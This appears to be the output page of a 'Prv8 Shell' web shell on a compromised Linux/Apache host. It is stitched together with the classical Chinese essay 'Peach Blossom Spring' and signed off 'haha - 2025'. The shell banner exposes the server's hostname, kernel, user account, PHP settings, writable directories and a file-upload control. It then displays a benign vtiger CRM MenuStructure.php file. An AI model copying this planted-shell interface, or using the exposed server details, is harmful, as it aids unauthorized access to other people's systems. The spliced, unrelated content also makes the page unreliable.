晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Vtiger/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/modules/Vtiger/models/MenuStructure.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

/**
 * Vtiger MenuStructure Model
 */
class Vtiger_MenuStructure_Model extends Vtiger_Base_Model {

	protected $limit = 5; // Max. limit of persistent top-menu items to display.
	protected $enableResponsiveMode = true; // Should the top-menu items be responsive (width) on UI?

	const TOP_MENU_INDEX = 'top';
	const MORE_MENU_INDEX = 'more';

	protected $menuGroupByParent = array();

	/**
	 * Function to get all the top menu models
	 * @return <array> - list of Vtiger_Menu_Model instances
	 */
	public function getTop() {
		return $this->get(self::TOP_MENU_INDEX);
	}

	/**
	 * Function to get all the more menu models
	 * @return <array> - Associate array of Parent name mapped to Vtiger_Menu_Model instances
	 */
	public function getMore() {
		$moreTabs = $this->get(self::MORE_MENU_INDEX); 
		foreach($moreTabs as $key=>$value){ 
			if(!$value){ 
						unset($moreTabs[$key]); 
				} 
		} 
		return $moreTabs;
	}

	/**
	 * Function to get the limit for the number of menu models on the Top list
	 * @return <Number>
	 */
	public function getLimit() {
		return $this->limit;
	}

	/**
	 * Function to determine if the structure should support responsive UI.
	 */
	public function getResponsiveMode() {
		return $this->enableResponsiveMode;
	}

	public function getMenuGroupedByParent() {
		return $this->menuGroupByParent;
	}

	public function setMenuGroupedByParent($structure) {
		$this->menuGroupByParent = $structure;
		return $this;
	}

	/**
	 * Function to get an instance of the Vtiger MenuStructure Model from list of menu models
	 * @param <array> $menuModelList - array of Vtiger_Menu_Model instances
	 * @return Vtiger_MenuStructure_Model instance
	 */
	public static function getInstanceFromMenuList($menuModelList, $selectedMenu='') {
		$structureModel = new self();
		$topMenuLimit = $structureModel->getResponsiveMode() ? 0 : $structureModel->getLimit();
		$currentTopMenuCount = 0;
		$menuGroupedListByParent = array();
		$menuListArray = array();
		$menuListArray[self::TOP_MENU_INDEX] = array();
		$menuListArray[self::MORE_MENU_INDEX] = $structureModel->getEmptyMoreMenuList();

		foreach($menuModelList as $menuModel) {
			if(($menuModel->get('tabsequence') != -1 && (!$topMenuLimit || $currentTopMenuCount < $topMenuLimit)) ) {
				$menuListArray[self::TOP_MENU_INDEX][$menuModel->get('name')] = $menuModel;
				$currentTopMenuCount++;
			}

			$parent = ucfirst(strtolower($menuModel->get('parent')));
			if($parent == 'Sales' || $parent == 'Marketing'){
				$parent = 'MARKETING_AND_SALES';
			}
			$menuListArray[self::MORE_MENU_INDEX][strtoupper($parent)][$menuModel->get('name')] = $menuModel;
			$menuGroupedListByParent[strtoupper($parent)][$menuModel->get('name')] = $menuModel;
		}

		if(!empty($selectedMenu) && !array_key_exists($selectedMenu, $menuListArray[self::TOP_MENU_INDEX])) {
			$selectedMenuModel = $menuModelList[$selectedMenu];
			if($selectedMenuModel) {
				$menuListArray[self::TOP_MENU_INDEX][$selectedMenuModel->get('name')] = $selectedMenuModel;
			}
		}

		// Apply custom comparator
		foreach ($menuListArray[self::MORE_MENU_INDEX] as $parent => &$values) {
			uksort($values, array('Vtiger_MenuStructure_Model', 'sortMenuItemsByProcess'));
		}
		//uksort($menuListArray[self::TOP_MENU_INDEX], array('Vtiger_MenuStructure_Model', 'sortMenuItemsByProcess'));

		return $structureModel->setData($menuListArray)->setMenuGroupedByParent($menuGroupedListByParent);
	}

	/**
	 * Custom comparator to sort the menu items by process.
	 * Refer: http://php.net/manual/en/function.uksort.php
	 */
	static function sortMenuItemsByProcess($a, $b) {
		static $order = NULL;
		if ($order == NULL) {
			$order = array(
				'Campaigns',
				'Leads',
				'Contacts',
				'Accounts',
				'Potentials',
				'Quotes',
				'Invoice',
				'SalesOrder',
				'HelpDesk',
				'Faq',
				'Project',
				'Assets',
				'ServiceContracts',
				'Products',
				'Services',
				'PriceBooks',
				'Vendors',
				'PurchaseOrder',
				'MailManager',
				'Calendar',
				'Documents',
				'SMSNotifier',
				'RecycleBin',
				'ProjectTask',
				'ProjectMilestone'
			);
		}
		$apos  = array_search($a, $order);
		$bpos  = array_search($b, $order);

		if ($apos === false) return PHP_INT_MAX;
		if ($bpos === false) return -1*PHP_INT_MAX;

		return ($apos - $bpos);
	}


	private function getEmptyMoreMenuList(){
		return array('CONTACT'=>array(), 'MARKETING_AND_SALES'=>array(),'SUPPORT'=>array(),'INVENTORY'=>array(),'TOOLS'=>array(),'ANALYTICS'=>array());
	}

	public static function getIgnoredModules() {
		return array('Calendar', 'Documents', 'MailManager', 'SMSNotifier', 'Reports');
	}

	function regroupMenuByParent($menuGroupedByParent) {
		$editionsToAppMap = array(
									'Contacts'		=> array('MARKETING', 'SALES', 'INVENTORY', 'SUPPORT', 'PROJECT'),
									'Accounts'		=> array('MARKETING', 'SALES', 'INVENTORY', 'SUPPORT', 'PROJECT'),
									'Campaigns'		=> array('MARKETING'),
									'Leads'			=> array('MARKETING'),
									'Potentials'	=> array('SALES'),
									'Quotes'		=> array('SALES'),
									'Invoice'		=> array('INVENTORY'),
									'HelpDesk'		=> array('SUPPORT'),
									'Faq'			=> array('SUPPORT'),
									'Assets'		=> array('SUPPORT'),
									'Products'		=> array('SALES', 'INVENTORY'),
									'Services'		=> array('SALES', 'INVENTORY'),
									'Pricebooks'	=> array('INVENTORY'),
									'Vendors'		=> array('INVENTORY'),
									'PurchaseOrder'	=> array('INVENTORY'),
									'SalesOrder'	=> array('INVENTORY'),
									'Project'		=> array('PROJECT'),
									'ProjectTask'	=> array('PROJECT'),
									'ProjectMilestone'	=> array('PROJECT'),
									'ServiceContracts'	=> array('SUPPORT'),
									'EmailTemplates'=> array('TOOLS'),
									'Rss'			=> array('TOOLS'),
									'Portal'		=> array('TOOLS'),
									'RecycleBin'	=> array('TOOLS'),
							);

		$oldToNewAppMap = Vtiger_MenuStructure_Model::getOldToNewAppMapping();
		$ignoredModules = self::getIgnoredModules();
		$regroupMenuByParent = array();
		foreach($menuGroupedByParent as $appName => $appModules) {
			foreach ($appModules as $moduleName => $moduleModel) {
				if(!empty($editionsToAppMap[$moduleName])) {
					foreach ($editionsToAppMap[$moduleName] as $app) {
						$regroupMenuByParent[$app][$moduleName] = $moduleModel;
					}
				} else {
					if(!in_array($moduleName, $ignoredModules)) {
						$app = $oldToNewAppMap[$appName];
						$regroupMenuByParent[$app][$moduleName] = $moduleModel;
					}                
				}
			}
		}

		return $regroupMenuByParent;
	}

	public static function getOldToNewAppMapping() {
		$oldToNewAppMap = array(
							'CONTACT'				=> 'SALES',
							'MARKETING_AND_SALES'	=> 'MARKETING',
							'INVENTORY'				=> 'INVENTORY',
							'SUPPORT'				=> 'SUPPORT',
							'PROJECT'				=> 'PROJECT',
							'TOOLS'					=> 'TOOLS'
						  );
		return $oldToNewAppMap;
	}

	/**
	 * Function to get the app menu items in order
	 * @return <array>
	 */
	public static function getAppMenuList(){
		return array('MARKETING','SALES','INVENTORY','SUPPORT','PROJECT','TOOLS');
	}

	public static function getAppIcons() {
		$appImageIcons = array(	'MARKETING' => 'fa-users',
								'SALES'		=> 'fa-dot-circle-o',
								'SUPPORT'	=> 'fa-life-ring',
								'INVENTORY'	=> 'vicon-inventory',
								'PROJECT'	=> 'fa-briefcase',
								'TOOLS'		=> 'fa-wrench'
							);
		return $appImageIcons;
	}
}

haha - 2025